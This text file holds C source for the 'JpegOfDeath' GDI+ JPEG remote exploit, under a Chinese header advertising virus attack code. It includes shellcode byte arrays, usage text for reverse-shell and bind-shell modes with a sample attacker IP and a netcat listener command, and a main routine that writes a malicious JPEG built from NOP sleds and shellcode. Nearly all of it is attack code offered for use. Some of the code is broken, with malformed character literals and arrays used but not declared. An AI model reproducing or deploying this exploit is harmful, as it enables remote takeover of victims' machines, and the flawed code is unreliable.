jpeg.txt

利用JPEG漏洞的病毒攻击程序代码 ,有详细的说明

"\x24\x50\xCA\x46\x2B\xFC\xEB\x3B\xC7\xC9\xA5\x4A\x8F\x69\x26\xDF"
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"\xD7\xA6\xCE\xA7\xAA\xDC\x6A\xF1\xA9\x8E\xE0\x35\xC1\xCA\xA1\xD4"
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"\x52\x6D\xC9\xA8\x66\x94\xBB\x79\x8F\x7E\xDE\x17\xFD\x4D\xAB\x1E"
"\x76\x7A\xA3\x2B\xE2\x50\x06\xB7\x2C\xEB\x2A\x49\xC9\xEA\x4E\x9B"
"\xE7\xCA\xAF\x1E\xEC\x23\xDC\x8B\xE1\x6B\x5F\x1A\x9B\xE8\x49\x2E"
"\x63\xE5\x03\x32\xCD\x19\xB8\x23\x10\x78\x1F\x85\x5C\x15\x8C\x97"
"\x84\x9B\xDB\x15\x35\x9F\x16\xE0\x1E\x86\xB9\x8F\x97\x11\x4E\xDA"
"\x35\x02\x45\x25\x93\xF8\x55\x24\x17\xB9\x1B\xF5\xC8\x07\xA9\xE2"
"\x2A\x76\xB0\xC2\x37\x01\x95\xAD\x81\xB6\x1C\x6A\xA2\x38\xD9\xAE"
"\xCA\x59\x18\x75\x25\xFF\x00\x81\xAE\xD8\xE8\xBB\x47\x62\xAC\xB7"
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"\x6A\xA1\x7A\xAC\x56\xE7\x11\x56\x58\xD4\x13\xA4\x0B\xB6\xEB\xB3"
"\x3B\x47\x22\x95\xD3\x53\x2E\xEA\x19\x86\x96\xF7\x03\x83\x52\x9E"
"\x54\xAB\x6E\x58\x63\x7C\x33\xCE\x93\xB1\x19\x1C\xE9\xDB\xAA\x35"
"\xBF\x46\x8D\xD4\xD2\x56\xE0\xE0\x33\xA1\x4D\x0A\x4E\x3B\xB1\xCD"
"\xD4\x06\x44\x56\x4A\xCD\x24\x26\xEA\x6D\x7A\x87\xDC\x3B\x60\x6D"
"\xFC\x2A\x86\x1B\x97\x36\x6D\x42\x04\xA0\x11\xEE\xE7\x46\x22\x35"
"\xD5\x26\xB0\x1C\x0B\x7C\x69\x5F\x06\xEC\x5A\xC5\x0B\x46\x70\x27"
"\xF2\xD4\x79\xAD\x89\xDA\x30\x74\xBD\x98\xE4\x68\x58\x86\xE4\x1B"
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"\xB2\x8C\x6E\x2C\x01\xF8\x56\x04\x7B\xC9\xA3\x05\x4F\xB4\xD5\xA2"
"\xDF\xF6\xFD\xC6\xE2\xA7\x3C\x89\x24\xFE\xA9\x5E\xC3\xD4\x6D\xF7"
"\x85\xC9\x59\x39\x63\x59\x9B\xFF\x00\x06\x1A\x5E\xFA\x69\x0A\x46"
"\x2B\xC0\x9F\xC2\x91\x8B\xC9\x40\x58\x16\xBD\xF2\xC0\xD3\x3B\x7F"
"\x2D\xA9\xBB\x2E\x49\x42\x6D\x52\x70\x39\x62\x9F\x08\x73\x6F\x20"
"\x09\x64\x00\x01\x83\x2B\x00\xD5\x97\xBC\xDC\xF6\x9C\xA7\x66\xEA"
"\xD9\xB6\x9F\xE1\x56\xDE\xBA\xEC\x65\xB4\x44\xD8\xE3\x8D\x52\x2F"
"\x36\xCE\x74\x33\x7E\x9F\x2E\x22\x99\x8B\xC9\x6D\x5A\x6D\x9E\xA8"
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"\x45\xD5\x6E\x96\x04\xE1\xF1\xA0\x37\x90\x5B\xD8\x7F\x81\x57\x1B"
"\xC8\xD5\x48\x27\x0E\x3C\x6B\x3D\xCD\x44\x15\x92\x41\x25\x94\x82"
"\xAE\x0E\x42\x97\x8D\x8C\x6D\xAE\x56\xB8\x26\xD8\x0F\xE3\x43\x93"
"\x73\x18\x75\x28\xD7\xF8\xD5\xFF\x00\x74\xE4\x18\xC2\x82\xAC\x6F"
"\x86\x7F\x2A\x4C\xBE\xE5\xFC\xD2\x22\xCC\x9A\x32\xD1\x7C\x7D\x68";

/* Code... */

unsigned char xor_data(unsigned char byte)
{
return(byte ^ 0x92);
}

void print_usage(char *prog_name)
{
printf(" Exploit Usage:\n");
printf("\t%s -r your_ip | -b [-p port] <jpeg_filename>\n\n", prog_name);
printf(" Parameters:\n");
printf("\t-r your_ip or -b\t Choose -r for reverse connect attack mode\n\t\t\t\t
and choose -b for a bind attack. By default\n\t\t\t\t if you don"t specify -r or
-b then a bind\n\t\t\t\t attack will be generated.\n\n");
printf("\t-p (optional)\t\t This option will allow you to change the port \n\t\t\t\t
used for a bind or reverse connect attack.\n\t\t\t\t If the attack mode is bind
then　the\n\t\t\t\t victim will open the -p port. If the attack\n\t\t\t\t mode
is reverse connect　then the port you\n\t\t\t\t specify will be the one you want
to listen\n\t\t\t\t on so the victim can　connect to you\n\t\t\t\t right away.\n\n");
printf(" Examples:\n");
printf("\t%s -r 68.6.47.62 -p 8888 test.jpg\n", prog_name);
printf("\t%s -b -p 1542 myjpg.jpg\n", prog_name);
printf("\t%s -b whatever.jpg\n", prog_name);
printf("\t%s -r 68.6.47.62 exploit.jpg\n\n", prog_name);
printf(" Remember if you use the -r option to have netcat listening\n");
printf(" on the port you are using for the attack so the victim will\n");
printf(" be able to connect to you when exploited...\n\n");
printf(" Example:\n");
printf("\tnc.exe -l -p 8888");
exit(-1);
}

int main(int argc, char *argv[])
{
FILE *fout;
unsigned int i = 0,j = 0;
int raw_num = 0;
unsigned long port = 1337; /* default port for bind and reverse attacks */
unsigned long encoded_port = 0;
unsigned long encoded_ip = 0;
unsigned char attack_mode = 2; /* bind by default */
char *p1 = NULL, *p2 = NULL;
char ip_addr[256];
char str_num[16];
char jpeg_filename[256];
WSADATA wsa;

printf(" +------------------------------------------------+\n");
printf(" |　JpegOfDeath - Remote GDI+ JPEG Remote Exploit |\n");
printf(" |　　Exploit by John Bissell A.K.A. HighT1mes　　|\n");
printf(" |　　　　　　　September, 23, 2004　　　　　　　 |\n");
printf(" +------------------------------------------------+\n");
if (argc < 2)
print_usage(argv[0]);

/* process commandline */
for (i = 0; i < (unsigned) argc; i++) {
if (argv[i][0] == "-") {
switch (argv[i][1]) {
case "r":
/* reverse connect */
strncpy(ip_addr, argv[i+1], 20);
attack_mode = 1;
break;
case "b":
/* bind */
attack_mode = 2;
break;
case "p":
/* port */
port = atoi(argv[i+1]);
break;
}
}
}

strncpy(jpeg_filename, argv[i-1], 255);
fout = fopen(argv[i-1], "wb");
　　　 
if( !fout ) {
printf("Error: JPEG File %s Not Created!\n", argv[i-1]);
return(EXIT_FAILURE);
}

/* initialize the socket library */
if (WSAStartup(MAKEWORD(1, 1), &wsa) == SOCKET_ERROR) {
printf("Error: Winsock didn"t initialize!\n");
exit(-1);
}

encoded_port = htonl(port);
encoded_port += 2;
if (attack_mode == 1) {
/* reverse connect attack */
reverse_shellcode[184] = (char) 0x90;
　　reverse_shellcode[185] = (char) 0x92;
reverse_shellcode[186] = xor_data((char)((encoded_port >> 16) & 0xff));
reverse_shellcode[187] = xor_data((char)((encoded_port >> 24) & 0xff));

p1 = strchr(ip_addr, ".");
strncpy(str_num, ip_addr, p1 - ip_addr);
raw_num = atoi(str_num);
reverse_shellcode[179] = xor_data((char)raw_num);

p2 = strchr(p1+1, ".");
strncpy(str_num, ip_addr + (p1 - ip_addr) + 1, p2 - p1);
raw_num = atoi(str_num);
reverse_shellcode[180] = xor_data((char)raw_num);

p1 = strchr(p2+1, ".");
strncpy(str_num, ip_addr + (p2 - ip_addr) + 1, p1 - p2);
raw_num = atoi(str_num);
reverse_shellcode[181] = xor_data((char)raw_num);

p2 = strrchr(ip_addr, ".");
strncpy(str_num, p2+1, 5);
raw_num = atoi(str_num);
reverse_shellcode[182] = xor_data((char)raw_num);
}
if (attack_mode == 2) {
/* bind attack */ 
bind_shellcode[204] = (char) 0x90;
　　bind_shellcode[205] = (char) 0x92;
bind_shellcode[191] = xor_data((char)((encoded_port >> 16) & 0xff));
bind_shellcode[192] = xor_data((char)((encoded_port >> 24) & 0xff));
}

/* build the exploit jpeg */
j = sizeof(header1) + sizeof(setNOPs1) + sizeof(header2) - 3;
　　 
for(i = 0; i < sizeof(header1) - 1; i++)
fputc(header1[i], fout);
for(i=0;i<sizeof(setNOPs1)-1;i++)
fputc(setNOPs1[i], fout);
for(i=0;i<sizeof(header2)-1;i++)
fputc(header2[i], fout);
for( i = j; i < 0x63c; i++) 
fputc(0x90, fout);
j = i;
if (attack_mode == 1) {
for(i = 0; i < sizeof(reverse_shellcode) - 1; i++)
fputc(reverse_shellcode[i], fout);
}
else if (attack_mode == 2) {
for(i = 0; i < sizeof(bind_shellcode) - 1; i++)
fputc(bind_shellcode[i], fout);
}
for(i = i + j; i < 0x1000 - sizeof(setNOPs2) + 1; i++)
fputc(0x90, fout); 
for( j = 0; i < 0x1000 && j < sizeof(setNOPs2) - 1; i++, j++)
fputc(setNOPs2[j], fout);
　　　 
fprintf(fout, "\xFF\xD9");

fcloseall();

WSACleanup();

printf("　Exploit JPEG file %s has been generated!\n", jpeg_filename);

return(EXIT_SUCCESS);
}
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